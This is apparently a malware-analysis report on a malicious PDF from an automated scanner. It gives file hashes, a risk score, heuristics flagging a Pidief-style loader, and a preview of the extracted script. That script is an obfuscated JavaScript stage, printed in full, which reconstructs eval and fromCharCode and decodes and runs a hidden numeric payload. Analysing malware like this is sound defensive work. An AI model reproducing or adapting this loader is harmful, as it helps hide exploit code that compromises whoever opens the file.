Malicious PDF — malware analysis report

Static analysis result for SHA-256 598689a32a6d2312…

MALICIOUS

PDF

48.0 KB Authoring application: substr First seen: 2012-09-20
MD5: 936c9815bc7794b485903429d100a6c0 SHA-1: f6c8e01696d8181d07ffdd206d91cd289ca20582 SHA-256: 598689a32a6d23127bde88e7fcefcebd74920a3a97812b1510c695bcca74549c
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xBD17 499 bytes
SHA-256: 6620efad52b31b8b816c0ab3496ca26324d45770e9efa4435cfb2418a0ccc290
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='e';
a=c.concat('a',"n","b","w",b,"o");
s=a[t.length-2].concat(b,a[1],t[0]);
e=v[v]()[s];
ebdm=e(v[4]+'i'.concat(v[4],t));
q=ebdm[v](a.length-6,a.length+2);
irqqe=e(v[0].toUpperCase().concat(v[4],'r','i','ng.f',q[4],a[6],q));
q=ebdm[v](t.length+12)[v[0]+e(v[0]+'u'+'b'+'jec'+v[4])+'t']('c');
k=q[t[0].concat('en','gth')];
i=t.length-2;
while(i<k){
	epum = 1*(q[i]);
	i++;
	epum -= (-1)*(q[i]);
	s2 = s2.concat(irqqe(epum));
	i++;
}
e(s2);

Open this report in the interactive analyzer, or submit your own file for analysis.